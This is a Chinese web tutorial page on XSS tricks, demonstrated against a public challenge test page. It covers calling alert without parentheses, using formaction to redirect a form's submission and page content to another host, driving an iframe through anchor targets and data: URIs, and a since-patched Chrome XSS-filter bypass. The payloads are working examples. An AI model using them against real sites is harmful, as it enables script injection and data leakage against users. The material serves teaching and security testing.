网站地图    收藏   

主页 > 后端 > 网站安全 >

一些与XSS相关的控制与绕过 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 一,一点XSS知识开头:不用圆括号:onerror=alert;throw 1;onerror=eval;throw#39;=alert\x281\x29#39;;二,表单中按钮覆盖form的actionhttp://challenge.hackvertor.co.uk/test.php?x=123!doctype htmlm......

一,一点XSS知识开头:

不用圆括号:

 
onerror=alert;throw 1;
onerror=eval;throw'=alert\x281\x29';

 

二,表单中按钮覆盖form的action

http://challenge.hackvertor.co.uk/test.php?x=123

 
<!doctype html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
123 <a href="123">test</a>
</body>

 

formaction 属性覆盖 form 元素的 action 属性。

所以
http://challenge.hackvertor.co.uk/test.php?x=<form><input type=submit formaction=http://google.com><textarea name=x>

 

<!doctype html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<form><input type=submit formaction=http://google.com><textarea name=x> <a href="123">test</a>
</body>

可以看出在只控制input属性时,还是可以更改整个form的action属性的。而且结果竟然还是http://www.google.com.hk/?x=+<a+href=”123″>test</a></body>
显然还把x作为了form的一部分,值为 <a href=”123″>test</a></body>

总结:按钮的formaction属性可以更改form的action属性。

三,利用同页面的<a>标签控制iframe.

<iframe src=”http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe>”></iframe><a href=”http://businessinfo.co.uk” target=x id=x></a><script>window.onload=function(){x.click()}</script>
这段代码说明在iframe外通过<a>标签来控制同界面的<iframe>
测试链接:http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe><a href=”data:text/html,<script>self.location=’http://businessinfo.co.uk’</script>” target=x>Click me</a>

 
<!doctype html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<iframe name=x></iframe><a href="data:text/html,<script>self.location='http://businessinfo.co.uk'</script>" target=x>Click me</a> <a href="123">test</a>
</body>

 

点击”Clieck me”即可使iframe加载新内容。

总结:利用<a>标签的target属性,使其控制指定的iframe.

四,绕过Chrome 谷歌浏览器的XSS检测 示例:

http://challenge.hackvertor.co.uk/test.php?x=%3Ca%20href=%22javascript:alert(1);%E2%80%A8–%3E

源码

 

<!doctype html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<a href="javascript:alert(1);
--> <a href="123">test</a>
</body>

http://challenge.hackvertor.co.uk/test.php?x=%3Ciframe%20src=%22javascript:alert(1)%E2%80%A8–%3E

 
<!doctype html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<iframe src="javascript:alert(1)
--> <a href="123">test</a>
</body>

 

可以看到这源码中是有%A8这特殊字符的,再加上–>(HTML的注释),即可绕过。(24.0.1312.52 下测试通过,最新版已修补)

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论